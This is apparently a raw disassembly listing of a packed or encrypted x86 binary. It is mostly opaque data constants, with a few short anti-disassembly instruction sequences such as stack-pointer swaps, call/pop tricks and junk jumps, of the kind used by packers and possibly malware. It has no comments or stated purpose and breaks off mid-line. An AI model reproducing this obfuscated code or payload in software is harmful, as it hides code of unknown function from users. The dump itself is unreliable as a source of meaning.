0DB7B6C8Eh, 440D4Bh, 98B40000h dd 9341FEAAh, 0C5CCB8E3h, 0A957DE38h, 3059AD78h, 0D9B28ABCh dd 0A04A17Ch, 0B9656CB7h, 8F30B61Bh, 8EC18892h, 92DFDA64h dd 0AE27B797h, 0DFDA648Bh, 6406D1B8h, 1F0ADFDAh, 0E021ED38h dd 3FE0h, 70D11900h, 78E2EB73h, 0B8D9ACE0h, 62EB76Dh, 0E6D9ACD0h dd 762B19A3h, 50C9175h, 0C38A5AF8h, 0DFCEE899h, 0A4B7DEAEh dd 64DFCEE7h, 27C295B9h, 982F8BC7h, 63A3C069h, 0AB6563A3h dd 9C000000h, 0F23170D1h, 0A859F650h, 0A67DCC48h, 2406DD6Ah dd 0B2661FADh, 0FA04E3D9h, 0F1497150h, 0EA5FAE9Dh, 0B79FB1B2h dd 0D7C56A10h, 1E0ECB3Ch, 6Eh, 3C70D1A3h, 8AC88255h, 0CC9B86D3h dd 0A1DA177Eh, 705ED9B2h, 0E67F40DBh, 0FC3AD16Eh, 344B735Eh dd 77A32F8Eh, 839B11D2h, 2CADF14Eh, 8EFAA0E6h, 373B0ECBh dd 4E000000h, 0EB7370D1h, 0B2A16EE2h, 4B77B2D9h, 3070C0E1h dd 9A9A77ADh, 8316D14Fh, 41674CF9h, 39B956E3h, 800A5D62h dd 0CB3FC1FFh, 8F936E0Eh dd 0D17DCA46h, 0D5Fh, 5953E200h, 0A1D38AE4h, 0FFFF19B3h dd 70D1D6FFh, 40E2EB73h, 0C0D9B2A1h, 367CC125h, 46C967AFh dd 1B72C8D9h, 0DFDA7AD8h, 0CC57CD58h, 9DF45653h, 0E6025427h dd 532E3CEBh, 27BA804Dh, 11E0ADBh, 0D9460D1Dh, 0C17F8A8Ah dd 2D1BEA28h, 5EAC7B16h, 0FB31C0C3h, 6F66E62Ch, 0EC2A2DE9h dd 9568F229h, 0AEA7478Eh, 8450D9BCh, 14B63B46h, 7475B904h dd 0F29B63B8h, 8450D9E7h, 0BB56FC2Bh, 0FF936B76h, 7A703AE0h dd 1CE52DCDh, 127C0B20h, 0E53B7BDFh, 34CA48C1h, 0EB37762Bh dd 48184A9h, 0CC9B01EEh, 0ABCD531h, 0E8A72E4h, 0E9382513h dd 740A1763h, 0EF78ADDEh, 6105D008h, 0D24E979Ch, 38F4F907h dd 878C11E9h, 0D2E5EC7Eh, 568A7350h, 0B65C4BCBh, 9228B9FAh dd 0C77D848Fh, 4F9AAE15h, 5BAAE9C5h, 0A2377EC3h, 0D575D976h dd 0CED7AA28h, 8FAA233Bh, 93D38AC8h, 0FFA58E94h, 0F8CB2851h dd 1CAB86C6h, 0CA484920h, 8A51B883h, 0B14042D3h, 0B269AC7Bh dd 77BA07E7h, 0BD61BE6Ah, 0B45E4D03h, 7717148Eh, 1C5AA7EAh dd 626FB10Ch, 4EB012A0h, 0E980BC45h, 29EF25A8h, 0B1A6D07Ah dd 9998D47Eh, 6D9AF654h, 84515435h, 5557B388h, 838280C9h dd 1DE42EB3h, 570A0827h, 5888449h, 0D38A0F32h, 97E369B8h dd 5BA64489h, 32938958h, 0D38A0F24h, 0FBB75D88h, 749D29B8h dd 0D38A2FA6h, 69B50812h, 0B79FB460h, 0F3AFAA11h, 0FF5F6914h dd 0A7F0FFFFh, 87EC245Ah, 59EA2EEAh, 819E8A57h, 0C9141DEAh dd 9D29C453h, 327C8180h, 0EB17DA27h, 87F3998Ch, 46D4C47Ah dd 487F5F72h, 0E2D8E8BDh, 2314F388h, 3Eh, 37024BDBh, 0FBD38A67h dd 0D10BE62Ch, 0E2EB7370h, 0D9B2A16Fh, 0E4ED36B3h, 0A70B2149h dd 9DDC66A5h, 6273B00Dh, 0B2A15661h, 0C74FDAD9h, 44A6C37Ch dd 0DA7AC20Dh, 2DB46DFh, 5FC6h, 70D17B00h, 8B1BEB73h, 8AC7F7C2h dd 66AE3BD3h, 0F38EA593h, 0A2074A53h, 1C0BD9B2h, 0A7F74AD2h dd 0F15DEA26h, 41407C23h, 0AAE980BCh, 33CE1B19h, 0E56FBA05h dd 20EBAE78h, 9F2A0901h, 796B11B4h, 0F343DBC8h, 0D04F6A63h dd 54D3D9B1h, 0F02CB9FBh, 5F92FB5Bh, 0A3DFD9A9h, 161BE644h dd 25DA4BCBh, 99975AA7h, 6E3CC1C0h, 0DF2F3CE5h, 0ACD07CB6h dd 8561BCD9h, 3DEBFA38h, 3823CE6h, 0D9ACD034h, 25CA7087h dd 0ED10F77h, 20BEh, 70D1C300h, 0F4E2EB73h, 34D9ACD1h dd 835233E9h, 0F4D9ACD2h, 289619A3h, 0E90ED111h, 0D7h dd 975AA770h, 3FBEC099h, 4840A32Fh, 6E2F45D8h, 327F0AA4h dd 2ACEE9E0h, 0D752D38Ah, 7DAB367Ah, 441D0BA6h, 0DAAAB03Dh dd 8A2AA8B3h, 91BD68D3h, 304458B1h, 0B3FED38Ah, 80819C2Eh dd 0E35CC77Dh, 9F6D64C6h, 63D9AC3Eh, 0B46DE684h, 4E055004h dd 13AE0CBDh, 83E3470Bh, 0C68D9BA5h, 1EC58C5Ch, 0E2DFD10Dh dd 3EAB2707h, 91DED2A9h, 0C92A0D44h, 33EEDFD0h, 532EBE64h dd 65F8824Bh, 40919219h, 40A07FD4h, 0BA10D408h, 0DBEAE826h dd 0B0000001h, 41DC6E6Fh, 15E8B23Fh, 0DD20FA0Fh, 0E4790DD8h dd 0CE8B539Ah, 0CD0C120Dh, 17DE2439h, 58A9EA77h, 6F72BF82h dd 523B03DFh, 0CD62DA87h, 0AAD2AF8Bh, 0AA3B47DAh, 99BCA17Eh dd 99D38AC8h, 0C1CD8082h, 929F6238h, 0D1C2BF4Fh, 0E2EB7370h dd 0D9ACD1F4h, 5233E934h, 0D9ACD283h, 9619A3F4h, 0ED11128h dd 0F2E9h, 5AA77000h, 7DCD9997h, 7F041911h, 0D3309245h dd 0D38A4708h, 35E3EE32h, 63AE3B1Eh, 0FE95A29Eh, 70D21F61h dd 0DC48919Dh, 8A4BADF1h, 874A57D3h, 137B17E7h, 0D0EA4DB4h dd 0AC397CD5h, 0E67BDB70h, 2DA569Bh, 0B46075BFh, 0F3ACB79Fh dd 0C7839A45h, 22F937BAh, 95272824h, 0A7656CFEh, 5CD9ACBFh dd 533C2C1h, 0C04D6861h, 56CDD9ACh, 0F2AA3BBh, 13D9ACC0h dd 0F0690E14h, 56AA90B2h, 58976FECh, 0EDB8978Dh, 1079C959h dd 0D9AC4345h, 6FF45EC5h, 3C55B1B2h, 0DFD0FFE6h, 926FFF2Ah dd 7DCA4693h, 62AC31D1h, 0EE73C39Bh, 1AF75FA2h, 296BD514h dd 5BBA10E3h, 0BCF7E5h, 8E910000h, 5EA2BF4Fh, 2E76CB93h dd 0F73E03DBh, 0B9C558E2h, 6EEF6A30h, 1EAC2D71h, 54F6FF03h dd 633BCAC9h, 0BC4E939Eh, 667118E0h, 0AACD62D9h, 57A7F14Ch dd 2869F496h, 0A75C01A5h, 0C099975Ah, 9E6E3CC1h, 7106D9F2h dd 888AE1A7h, 6501CCD5h, 0F6549998h, 794C6F66h, 51CCD38Ah dd 135233CDh, 16FA8A25h, 0BC9FF646h, 4BFA8A24h, 8A253702h dd 0E92CFBFAh, 0DB71032h, 0C99D60A1h, 0E6EF2D74h, 0FA8A24D3h dd 79DC256Dh, 401917A2h, 9984B045h, 29A5048Eh, 1C18F0F7h dd 73C181C9h, 2E73EE34h, 0FB061BA3h, 6705D0B9h, 5105FA8Ah dd 8A671D38h, 6B061DFAh, 37260DCh, 97000000h, 58A761E0h dd 0C3CE9B91h, 2C77023Eh, 90926FA5h, 0F03ECB41h, 58A633E9h dd 0C7CE9B91h, 296B0632h, 878960DCh, 8158CE7Ah, 4ECh, 242C8900h dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 6068243Ch dd 89000037h, 0A168241Ch, 8900001Ah, 15BD242Ch, 8100F40Ah dd 0A44F0CE5h, 0C4F5816Dh, 810AFB0Eh, 0C6057EEDh, 81D5F700h dd 0C0DAB7C5h, 5DEF890Fh, 8904EC83h, 4812424h, 424h, 0EC835B00h dd 243C8904h, 8B08438Fh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_50F6C5 ; --------------------------------------------------------------------------- dw 3C93h dd 1DDD234h, 17B8A36Dh, 30627F0h, 13E0FFC5h, 0AD3A0E2Ah dd 0A621FE3Fh, 0E8498786h, 0Fh, 11AE1A96h, 99028116h, 1FA091Fh dd 6675BEECh, 5FFCD2BBh, 87C781FCh, 81000068h, 858BC7DAh dd 19EEBE1Eh, 10E80000h, 0EE000000h, 5806F0CFh, 2B6AEAFAh dd 0F21C25F4h, 0E9D2A429h, 6, 383B2DF8h, 0FF592E4Ah, 5866B537h dd 8193D380h, 999E47F0h, 81CFB36Dh, 8C07A9E8h, 0FCF78022h dd 0A430F081h, 89FC5C32h, 57515707h, 815B5A5Ah, 0B923E0EFh dd 0D4806060h, 12E95Ah, 0DCAA0000h, 5F9AC863h, 0DBB0ABF8h dd 877E075Eh, 0E5821F0Ch, 0DCC78161h, 0F60B923h, 386h dd 85E98000h, 1EE81h, 850F0000h, 17h, 0E9C0D380h, 1Fh dd 0A64A200Ch, 18521FDCh, 5D5FE58Fh, 803FC6FBh, 7CE937C5h dd 12FFFFFFh, 0DE37195Ch, 8D705119h, 27F2608Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0BCC31DA6h, 0E253F8B7h, 20D5852Bh, 8B660622h, 8D89FCDFh dd 62233F1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0CCC35141h, 510994h, 56186C6Dh, 21D19D89h, 0C75A0622h dd 222D3185h, 588C06h, 0F0BF0F00h, 30E585C7h, 622h, 14E90000h dd 34000000h, 0C6BBE407h, 3891B6FFh, 82437AD0h, 8A392AA1h dd 0FFE9228Ch, 22140DB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0F303C862h dd 6595FF99h, 23062220h, 22310585h, 0FF006A06h, 22307595h dd 0EBC08B06h, 7B182E58h, 0B83DF94Dh, 0EBF114DEh, 0AA096F40h dd 222BB820h, 36B51EDEh, 2CC23F38h, 3E8DD63Fh, 0B711B155h dd 362BBC37h, 75D45FE6h, 0BC2251BBh, 0B8592C64h, 7361843Ah dd 0D5C41DC1h, 5E4BA940h, 9E40D37h, 5A50E101h, 16A6B43Fh dd 0E15B28F8h, 213A2FEAh, 426043E0h, 81C08B69h, 58492DF2h dd 0DDBD8375h, 62208h, 0BD830975h, 6220A21h, 50197400h dd 0B8C08B53h, 3FCh, 1B398589h, 9D8D0622h, 624BFC9h, 585BD3FFh dd 0A21BD83h, 74000622h, 0B8535017h, 3FCh, 1B398589h, 9D8D0622h dd 624BCB8h, 585BD3FFh, 0C8E0Fh, 8F0F0000h, 6, 1EB2C281h dd 6A3572h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 85E7DAC3h, 95CA4382h, 6660600Dh, 5B51F98Bh dd 61D08A61h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0DB19B8C3h, 4D085671h, 10E98298h dd 0DA000000h, 0C40A36B7h, 30A825C8h, 2504E08Ch, 83A17BACh dd 2200F5BDh, 840F0106h, 28h, 0BD8343B7h, 6222209h, 19850F00h dd 81000000h, 0FB21FCF2h, 75BD8317h, 62218h, 0A0840Fh dd 0CB810000h, 75B25611h, 3CEE9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 10402654h dd 4860F58h, 66000000h, 8191CFBAh, 0C72BD3C2h, 40h, 8C0F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 6B9CC356h, 1F19F47Fh, 13E83489h dd 0ED000000h, 0C8DD43CBh, 6DE6E444h, 0B09C02C2h, 0FB2A1BE2h dd 820F0265h, 6, 840Fh, 605A0000h, 6E8h, 64DE0800h, 0B9344936h dd 4E73C03h, 115E6158h, 0A2CE403Eh, 4CA2B485h, 0A47AB4ECh dd 0FAFEEACFh, 0A0BAC066h, 0A06BF06Eh, 0A4A7B4F6h, 0CC10E2A9h dd 0F56226BCh, 6675D27Dh, 21F71AF5h, 0A218E3AAh, 74616464h dd 4C1CB485h, 0A4A7B4ECh, 0FF10EFCFh, 0A0CDE866h, 0A0D0F06Eh dd 0A47AB4F7h, 97FEE7ACh, 97924F9Ch, 0DDA66E64h, 0F4A7B4EBh dd 0A4D3A507h, 78970EEFh, 0DA33B518h, 542893A8h, 9C11214Ch dd 0FF6BBE4Ah, 0A4A7E1B5h, 0F9A7B4EFh, 5004596Eh, 0A483B2C8h dd 0A4F75CBEh, 0FD5AB4EFh, 0E8B4ED2Ch, 0E01FB0CBh, 0A459B0CBh dd 0F5E6B4EFh, 3917912Ch, 4D0235BFh, 0FFF8CDD0h, 14B13589h dd 0A0B3BBC9h, 0C29EB4EFh, 2F384B54h, 891D242Fh, 0F4A22608h dd 0AA00E6BFh, 39F4B4EFh, 0AFD3B442h, 0CD6D529Eh, 0EA08922Dh dd 0F47EBBDDh, 0F396BBBDh, 0FE8BEEB4h, 0A48324B7h, 0A4F75CBEh dd 0FD5AB4EFh, 0E8B4ED2Ch, 0E01FB0CBh, 0A455B0CBh, 0F5E6B4EFh dd 0EC92632Ch, 0D4A9006h, 80B8B5E0h, 2075E411h, 0A43DB4E9h dd 0A49E34E0h, 0FC15B4EFh, 64E2E955h, 0A6DFB1A5h, 0A483B4EFh dd 0A4F75CBAh, 0F95AB4EFh, 0C8B4E92Ch, 0E01FB0CBh, 0A454B0CBh dd 0F1E2B4EFh, 0EBFEF02Ch, 182B1BE4h, 0CEFC3F6Bh, 0A792E2EFh dd 843DB4EFh, 2DC077B1h, 254B909Bh, 0BEA390ABh, 0E2D3B4EFh dd 0F0D977B9h, 0EA764AC5h, 251CE689h, 0FE30412Ch, 58D63F89h dd 0A44F39E0h, 0A014B4EFh, 0A4D3B557h, 0F6E9DEEFh, 0A4F4B707h dd 672094EFh, 80693DB5h, 80DA35EBh, 0A44FA8EBh, 67F5F6EFh dd 0EEAAD7B4h, 0F2C6023Ah, 0F6A42581h, 287585E0h, 0A43DB4EBh dd 0A5090E89h, 1E1FECB5h, 0A69BD364h, 746CBB7Eh, 0CE303889h dd 0A71CE1EFh, 847AB4EFh, 2D6077B2h, 259A9083h, 0BF4B90ABh dd 0E1A7B4EFh, 880E77BAh, 60AC1C2Fh, 6502E1D2h, 8DFFBBEBh dd 0CE3DB4EEh, 0A776E4EFh, 844FB4EFh, 2DFF77B7h, 25D790ABh dd 0B8ED90ABh, 0E4F4B4EFh, 0D4A377BFh, 0AE450E91h, 4D5CBB99h dd 0A44FB4FEh, 2E974288h, 83ECF722h, 49231F35h, 67117FA0h dd 0FF2CED6Bh, 0A43DA006h, 55F087EFh, 19C054D2h, 25F3495Fh dd 0EAEFD93Fh, 0B6558417h, 0CCCD3490h, 0A49F31E0h, 0A457B4EFh dd 0A49D5CBEh, 0FD6FB4EFh, 0E82EED2Ch, 0E052B0CBh, 0A4F2B0CBh dd 0F5B5B4EFh, 8E5C3A2Ch, 88A97537h, 8724D2C6h, 0A5363F94h dd 0A4A832E0h, 4D81B4EFh, 0A4E9B4E7h, 6EA0A403h, 9319AD9Fh dd 0A4C235B4h, 0AB1EB4EFh, 0A44F2E6Dh, 2DA8E2EFh, 0A4D3B4EDh dd 63B3EEBFh, 8307416Ah, 0A47AB5E9h, 2B32E3EFh, 0A49EB4EAh dd 8B5F6855h, 0DC4EEF9Eh, 0CED3B4EFh, 0A701E3EFh, 84F4B4EFh dd 2D2577B0h, 25399093h, 0BF9A90ABh, 0E34FB4EFh, 0F87677B8h dd 9AD68669h, 0ABBEC872h, 0A4F4B16Ah, 0B89E0FEFh, 4D668586h dd 0A49EB4D0h, 4C1EB485h, 0A4A7B4ECh, 0FD10EDCFh, 0A0CDF866h dd 0A0D0F06Eh, 0A47AB4F3h, 0DCFEE5AEh, 5F880FFBh, 2505996Eh dd 0C29F07B6h, 5BD8CD6Ch, 0A4E430E0h, 6308B4EFh, 8389416Ah dd 0A43DB5E9h, 0EC1B03EFh, 1D747A6Fh, 8A1DAC23h, 5DAC3162h dd 1964B2C8h, 0A2D34340h, 0A30E4CD4h, 6DECBBDFh, 0CE6B5FA8h dd 0A7A7E1EFh, 84A7B4EFh, 2D8E77B2h, 25ED9083h, 0B2F090ABh dd 0E17AB4EFh, 59277BAh, 0FB513462h, 4C2F418Fh, 0A4A7B4FFh dd 4A0ED5E9h, 0EC8D1CC6h, 6A0433DDh, 9D69B834h, 0CE5CD5B4h dd 0A776E5EFh, 844FB4EFh, 2DFE77B6h, 25D790A3h, 0B0ED90ABh dd 0E5F4B4EFh, 0C26977BEh, 19BE6B64h, 0A2BCB41Ah, 8FCBBBEEh dd 0ABA7B4EFh, 0A4D3B564h, 43694CEFh, 0AD4937E4h, 0A47C96CDh dd 0A42931E0h, 2B2CB4EFh, 0BC3A096Ch, 0ABA7B2CDh, 0A4D3846Bh dd 0EED50FEFh, 4D1DD195h, 0CE7AB4EFh, 0A7D5E4EFh, 849EB4EFh dd 2D1777B7h, 25A390ABh, 0B8D790ABh, 0E4E9B4EFh, 20FB77BFh dd 39AC7B4Bh, 1619AFABh, 512337C5h, 0A54996EFh, 0A42C31E0h dd 0A4B9B4EFh, 0A4EA5CBFh, 0FCD4B4EFh, 0E0F3EC2Ch, 0E0BCB0CBh dd 0A486B0CBh, 0F40FB4EFh, 116CCB2Ch, 7E58A0BEh, 0F6E9DEB2h dd 0A4F4B707h, 672094EFh, 80693DB5h, 80DA35EBh, 0A44FA8EBh dd 67F5F6EFh, 3DC8B3DEh, 2D94D549h, 67E40615h, 0A47C30E0h dd 6FBCB4EFh, 0A113C5FCh, 0A44FEF06h, 0F7A7DEEFh, 0A4D3B707h dd 67B294EFh, 80A83DB4h, 803E35EBh, 0A43DAEEBh, 67CDF7EFh dd 87071F7Fh, 4D3BB910h, 0A4D3B4E6h, 6F0B74C9h, 0EF35AD81h dd 53FAE959h, 0A4577BE3h, 0A49D5CBCh, 0FF6FB4EFh, 0F82EEF2Ch dd 0E052B0CBh, 0A4FDB0CBh, 0F7B7B4EFh, 2F1C432Ch, 0A387E237h dd 0FE89C7ECh, 50150962h, 292AB2C8h, 0A2F44DA3h, 9EB5A957h dd 0AD718794h, 8F7C96EFh, 231D7520h, 628A1DACh, 0C85DAC31h dd 401964B2h, 0D4A2D343h, 0DFA30E4Ch, 0A86DECBBh, 0F305E983h dd 0F5BD83A4h, 627F3h, 8D8D0D74h, 62250B1h, 1B8h, 40E1FF00h dd 0EC06BB66h, 0BA7B3DBAh, 50006A11h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 2DE88302h dd 13E9h, 77C54B00h, 0CDFB92A3h, 2BC28CAAh, 90A234CCh dd 6D68093Dh, 0C381C08Bh, 544958C4h, 8DDBD83h, 75000622h dd 21BD8309h, 6220Ah, 53501974h, 0FCB8C08Bh, 89000003h dd 220E5985h, 309D8D06h, 0FF0624C0h, 83585BD3h, 220A21BDh dd 17740006h, 0FCB85350h, 89000003h, 220E5985h, 0D19D8D06h dd 0FF0624BCh, 66585BD3h, 6A5501BBh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0E7F6C352h dd 6A5A2D11h, 812BA5FBh, 0EEBDD8DBh, 0E9C08B61h, 0B5h dd 5CAB4B7Ch, 94h, 5, 1, 0A28h, 2, 27h dup(0) dd 0B94E900h, 0AE680000h, 0E90627FCh, 0FFFA87D7h, 27FDCE68h dd 87CDE906h, 0C868FFFAh, 0E90627FEh, 0FFFA87C3h, 27FF3568h dd 87B9E906h, 6968FFFAh, 0E9062800h, 0FFFA87AFh, 2800C268h dd 87A5E906h, 0E768FFFAh, 0E9062803h, 0FFFA879Bh, 2804FE68h dd 8791E906h, 5825FFFAh, 0F09B84EFh, 88F73853h, 1A6F50BBh dd 0B5D9C621h, 690B7F96h, 86E15E20h, 3B52F199h, 0AEB982F6h dd 0C9201B61h, 97A3791Eh, 7A411DC0h, 5774CD4h, 0B8C4E93Ah dd 5F14648Fh, 3B526636h, 0CA83473Ah, 50CB640Ch, 4679340Dh dd 597FC21h, 473A62F5h, 0BD4F9518h, 49181AB6h, 6EBA7267h dd 5B41185Ah, 185AB9C1h, 0E0515C41h, 8B598ACDh, 41185A7Bh dd 98E73485h, 0E53B7AABh, 0B8B5DC1Ch, 1D4BD176h, 44h, 64AB5805h dd 41666903h, 20F4918h, 9990CC77h, 7784C112h, 44E63A05h dd 41183130h, 0DDAEEBCEh, 0EA2D1A60h, 0DB267AB9h, 0D1F76A9Dh dd 0E6C24BD1h, 0F5000000h, 0B28F1E0Ch, 0CA7C5D14h, 1156660Bh dd 6F075D9Ch, 45340577h, 78C3B5FAh, 0B0C9082Bh, 3B89D14Bh dd 416C473Ah, 0D9A5CA13h, 88F4396Ah, 3B416EBFh, 0E1AAE700h dd 0E5622D62h, 0D9F454BFh, 32473A37h, 8196F14Ah, 71B945C0h dd 0B4E8FFC4h, 2344FF8Dh, 76A7A4D6h, 0B0DCE937h, 811B7CC3h dd 49185A46h, 0AC8DE4D7h, 0F12F1C6Fh, 42A7ECE7h, 3C8951AAh dd 1A7F3E4Fh, 0B691F835h, 42964665h, 0B74B7CDEh, 80BFCB04h dd 8DCC1053h, 2BFBFE80h, 9F5AF5FAh, 0EFD03B7Ah, 0F8D6A09Fh dd 65EF97F9h, 92ED554h, 0B4D90000h, 4C3F608Bh, 0E4AB94FFh dd 76030C67h, 117DA2CDh, 0DEFDB32h, 628DBAC4h, 97FE4D3Dh dd 0A65DEAAh, 0A5CC7705h, 3B4FDDBAh, 0DE411DC7h, 525FE838h dd 0A7C21E2Dh, 380168D7h, 6AB691FBh, 0EB023D4Fh, 64AB5833h dd 41666903h, 0E4D74918h, 0BF6D52B7h, 4118316Bh, 57F12F8Eh dd 41183107h, 14F870F9h, 312D7D2Fh, 53844118h, 1B2EEFC8h dd 25DEDD62h, 82142DE6h, 1C3864ECh, 4BD16661h, 0D674h dd 577A200h, 0BAC4E93Ah, 18C588Dh, 0FA473A37h, 77D4A792h dd 74D5BD26h, 3F9CDBDBh, 6D52BDFCh, 0C1642A1Fh, 3A1C1F2Bh dd 78BBF247h, 84C9082Bh, 444A8B78h, 7EA3C407h, 0ACF14E31h dd 5E895381h, 0CF491877h, 0F6A68BECh, 411879A2h, 0D7386457h dd 7AC9B5C2h, 84D60A29h, 9E6780CFh, 9271ACF9h, 7366BA74h dd 3CD12DB9h, 1C7D304Fh, 0C0A3BEABh, 4997B709h, 0DA622308h dd 0E15A2E67h, 0DB368714h, 0A7A9B8B7h, 0F8246721h, 177ECDB1h dd 0A6E9642Ah, 0A8906699h, 35EF96F7h, 80E65E4h, 0D4B90000h dd 6C1F006Bh, 48BB4DFh, 96E32C47h, 315D42ADh, 0ED8FFB12h dd 26DDAA4h, 0B7DE6D1Dh, 2A45FE8Ah, 45AC97E5h, 1B2FFD9Ah dd 0FE411DC6h, 777C858h, 9CE0D138h, 77D248A3h, 0FB443405h dd 1B488BAAh, 7BAB05FEh, 75128911h, 0C17A022Fh, 0B06C51A6h dd 473AA668h, 9BE12E8Dh, 691A7CA0h, 532FFD1Ah, 9E491BECh dd 5A5B2425h, 96CA5770h, 0BAF7109Bh, 391E69D2h, 60B592FCh dd 0AD4D1F45h, 0BF411264h, 9967C0C1h, 0A7223353h, 79A00D64h dd 0F6136013h, 0FF91510Dh, 3A77CB5Bh, 0A6ABE952h, 78801C41h dd 9D41126Dh, 1F38C21Eh, 4F307Eh, 0C85BC9ADh, 7DB9C8EDh dd 0ADF34C30h, 0E6BB8ABh, 0BA277329h, 513AE729h, 96E4DF2h dd 29BA4793h, 0DD03AAE7h, 9497E0BCh, 3578E90Bh, 0A0EFE4E0h dd 4933D547h, 8F2EEF29h, 0E45F2D6Ah, 4FF8848Dh, 82FD87BBh dd 44DBD44Fh, 714h, 1A75CEBFh, 8ED96615h, 2641FE81h, 5CB790F9h dd 0F51C2B53h, 0D4BAF3F5h, 67131C77h, 0F880B1D8h, 91FB244Fh dd 0C3945FB6h, 1DC50129h, 0C65EF441h, 364AB58h, 0E2D6D242h dd 0B0F139ABh, 2F227EC9h, 1B33657Dh, 44A50849h, 0EC074437h dd 3A6BD8A3h, 6AC064DDh, 97C48308h, 3EEEAF54h, 49337EA2h dd 0D92C08FEh, 60B1F5B5h, 6A799h, 3B4200h, 74D3B8E9h, 0DC6B141Dh dd 42FD8CB5h, 0AB98E62Bh, 4D866640h, 0A6EB0241h, 131C77D4h dd 8EB3DA65h, 232A45FEh, 0C4B2C656h, 0B367411Dh, 2D525F73h dd 72AECD1Eh, 0C3246B18h, 1B714929h, 0E597E449h, 0B6EA095Ah dd 0DAD7307Bh, 1E7E89B2h, 2EFE1B62h, 411DC10Eh, 1E7BA803h dd 0C1576339h, 0F3BA411Dh, 0C1C81BADh, 0A9D5411Dh, 0D7C4A320h dd 0D4CA2E4h, 5EE993D8h, 1E5A070Dh, 3BBD2408h, 0CC2A5914h dd 4B7C4Bh, 0AE170000h, 0A00E24FEh, 1E3A28D4h, 0AB520FF4h dd 5F42124Eh, 0C51B2852h, 7196DD93h, 3A3B63BBh, 82ED5647h dd 817E0856h, 1B9D8B70h, 30CF7027h, 558635ECh, 3A637787h dd 0A8C08947h, 0F37FEC61h, 7C951h, 0A5510000h, 17Dh, 81E65F89h dd 902B79B2h, 9F701D43h, 357C52Ah, 0F6473AA2h, 69C3EC7h dd 50D2668Ch, 0CA19CA0Ch, 0F5A4FFADh, 62494918h, 8C9C1280h dd 0A95AE783h, 146F3D5Ah, 0F9FCD5D5h, 706361B2h, 0C0C9C623h dd 64385987h, 0F2F308E2h, 0DEDB3C7Fh, 50EF9BAEh, 0C3C9F611h dd 0BEA88E78h, 0E43539C8h, 57365h, 0D46F1E00h, 380774BDh dd 0A09FE0D1h, 16315849h, 7FCCB2FFh, 19521214h, 72BFD675h dd 0EFD03B08h, 5A47AE99h, 77FE0932h, 3B7E8A62h, 0FF934112h dd 34057727h, 8BAAFB44h, 98E22F48h, 345075ABh, 597F03Fh dd 4918347Eh, 0BCE50CAFh, 918377D0h, 1EF5BC19h, 51A320Dh dd 0C8B50000h, 602B147Fh, 0F88788E3h, 8AFF204Bh, 256956B1h dd 0F9FBCF26h, 1671CEB0h, 8BE26129h, 3E49F286h, 59B08BF1h dd 753C9AEh, 0EA41123Bh, 577FC24h, 0B8C4E93Ah, 97056A8Fh dd 473A3B43h, 8CD907B6h, 88F70465h, 154B6ABBh, 2468CC2Ch dd 0B5E66515h, 0F2351278h, 0C7BA58B3h, 1251F3D7h, 23h dd 64AB5838h, 1BCE6903h, 723F4918h, 0AFFC3F0Ch, 181BC91Dh dd 2E4A3741h, 0D1BB661Bh, 3F734Bh, 58DB0000h, 690364ABh dd 49180BF6h, 340FC6BFh, 74FCBC2Fh, 5DBAF128h, 0F51C2B50h dd 183E0053h, 0D46F1D41h, 291266B3h, 0D4A7E8EBh, 3E8FDB51h dd 4B624118h, 9BC87306h, 75F41958h, 458h, 0DEAB58D9h, 6B87BCE7h dd 0D334772Ah, 62D7A1EEh, 0B7ED2C17h, 1874B615h, 47327F49h dd 0F78CAFFCh, 77C01456h, 6EDBF9C7h, 0ABD11E4Fh, 5C954390h dd 0F73C371Ch, 1C60AD92h, 0AE9DEE23h, 58E23E7Dh, 4F3A1143h dd 0F3005954h, 6C69BA85h, 7E6168B0h, 0EF2E8D4Bh, 1B61AEB1h dd 0E291F320h, 738B7C9Dh, 8627CDABh, 9C10419Fh, 455CB543h dd 722A0F74h, 555CB526h, 0E830E0CBh, 0D555CB5h, 2D1A61AEh dd 0AA67BDF8h, 0EF9DD203h, 0C409325Ah, 0F8356699h, 6967B493h dd 0E2AC88E0h, 470A2265h, 0CE790321h, 519E55A7h, 0B3D36438h dd 713C5B7Eh, 0C27D0F2Ch, 0B236BB91h, 59A65Dh, 90A1DB6Ch dd 6E793451h, 0B3E05B21h, 6FBB7156h, 82599091h, 0C2CCF52Bh dd 6D3F6485h, 5990915Dh, 86A7FDB0h, 0F6272069h, 2469D6B9h dd 4DE107EAh, 0D636B2BFh, 4B89B6D9h, 8AE55E2Eh, 0D6AB9AAh dd 0B291449Fh, 0D102A957h, 3257F09Ch, 99A12751h, 0E20152F1h dd 0B0ABDC19h, 0EF3596Ch, 216E65EAh, 0D0B54C8h, 0B9F46DD4h dd 201B61AEh, 7BCEBEF3h, 0E1E63714h, 0D40DFF0Bh, 589B126Dh dd 0ACE9CE19h, 221D6CDDh, 2273B2F1h, 63FB45B9h, 6EA1D959h dd 0E42BD832h, 0DB21C283h, 0A1B8BD11h, 48391E73h, 2C97B6B3h dd 0B3DB1482h, 0B1BE4894h, 0BE63F6C9h, 0EF3C0771h, 1C9990CCh dd 4192D572h, 2AA963B3h dd 0D73C9D76h, 2AA93545h, 8FD5D876h, 4E0346A2h, 0A720E345h dd 2625DADEh, 0E910ED56h, 8489D72Eh, 34h, 64AB5892h, 41666903h dd 0E4D74918h, 31D1E5B7h, 4A2F4118h, 0D8043F4Dh, 7DF01751h dd 944BD1D1h, 2A1962AFh, 0DEEABAF9h, 3341183Dh, 0E4F92478h dd 21000000h, 0E93A0577h, 588DBAC4h, 0ABD06913h, 5C224F9Ch dd 3C7FBEEFh, 